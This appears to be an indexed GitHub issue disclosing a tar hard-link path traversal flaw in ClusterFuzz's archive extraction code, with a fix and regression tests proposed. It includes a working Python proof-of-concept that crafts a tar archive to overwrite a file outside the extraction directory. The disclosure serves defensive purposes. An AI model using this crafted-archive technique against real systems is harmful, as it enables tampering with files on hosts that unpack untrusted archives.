system/archive.py: tar hard link linknames with '..' can overwrite files outside the extraction directory
- Dominant language
- Python
- Stars
- 5.6k
- Forks
- 629
- Avg merge
- 4d 6h
- Merged PRs (30d)
- 22
Description
## Summary
`TarArchiveReader.extract` (`src/clusterfuzz/_internal/system/archive.py`) validates archive member **names** against path traversal (`_is_attempting_path_traversal`), but never validates the **linkname** of hard link members. A tar containing a hard link whose relative `linkname` includes `..` causes CPython's `tarfile` to `os.link()` an existing file **outside** the extraction directory into it; a subsequent write through that alias (e.g. a regular member that resolves to the same path) overwrites the outside file with attacker-controlled content.
The existing realpath containment check cannot detect this: `os.path.realpath` does not resolve hard links, so the aliased path still appears to be inside the output directory.
## Reproduction (stdlib only)
```python
import io, os, tarfile
os.makedirs("/tmp/poc/out", exist_ok=True)
open("/tmp/poc/victim-file", "w").write("ORIGINAL")
with tarfile.open("/tmp/poc/evil.tar", "w") as tf:
link = tarfile.TarInfo("innocent.txt") # clean member name
link.type = tarfile.LNKTYPE
link.linkname = "../victim-file" # relative .. escapes the output dir
tf.addfile(link)
data = b"PWNED"
payload = tarfile.TarInfo("innocent.txt") # same clean name
payload.size = len(data)
tf.addfile(payload, io.BytesIO(data))
with tarfile.open("/tmp/poc/evil.tar") as tf:
for m in tf.getmembers():
# _is_attempting_path_traversal(archive, out, m.name) -> False for both
tf.extract(m, "/tmp/poc/out") # no filter=, as in archive.py
print(open("/tmp/poc/victim-file").read()) # -> PWNED (outside the output dir)
```
Notes:
- An **absolute** linkname does not work (CPython strips the leading `/` and joins inside the output dir); the escape requires a **relative** linkname with `..` of the correct depth.
- The member names involved are clean, so the name-based guard passes; only the linkname escapes.
- Reachable through the untrusted archive upload/unpack flow (`TarArchiveReader.extract` at `archive.py`, looped by `extract_all` from the unpack task).
## Suggested fix
Apply the same containment check to the resolved hard-link target that `tarfile` itself will use (mirroring its absolute-target re-rooting). Implemented in the attached PR, along with regression tests:
- `test_tar_hardlink_traversal` — escaping relative linkname is rejected, victim file untouched;
- `test_tar_hardlink_within_directory` — legitimate in-archive hard links still extract (archive built with real on-disk hard links so the linkname is in canonical member-rooted form).
An alternative is passing `filter="data"` to `tarfile.extract` on Python ≥ 3.12; the guard approach in the PR is version-independent and mirrors the existing check style.
This issue was reported to the Google Bug Hunters team, who classified it as valid but below their security-tracking threshold and explicitly permitted public disclosure.
Contributor guide
Research direction
Start in src/clusterfuzz/_internal/system/archive.py at TarArchiveReader.extract and its _is_attempting_path_traversal check, then trace how extract_all invokes it. Run the regression tests named test_tar_hardlink_traversal and test_tar_hardlink_within_directory. Done means escaping hard-link targets are rejected without changing the victim file, while legitimate in-directory hard links still extract.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python
- Domain
- security
- Issue type
- Bug
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Activity status
- Active
- Clarity
- Clearly specified
- Newbie friendliness
- 68/100